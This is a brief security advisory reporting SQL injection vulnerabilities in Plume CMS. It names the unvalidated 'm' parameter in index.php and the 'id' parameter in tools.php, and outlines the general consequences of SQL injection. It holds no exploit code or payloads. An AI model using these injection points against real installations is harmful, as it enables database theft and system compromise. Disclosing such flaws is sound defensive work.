Details.
Plume CMS is a content management system written in PHP. The application suffers from SQL injection vulnerabilities in index.php and tools.php, as it fails to validate data supplied in the ‘m’ variable of index.php before being used in a SQL query. Additionally, the variable .id. of tools.php is also vulnerable to the same type of attack.
SQL injection attacks can give an attacker access to backend database contents, the ability to remotely execute system commands, or in some circumstances the means to take control of the operating system hosting the database.
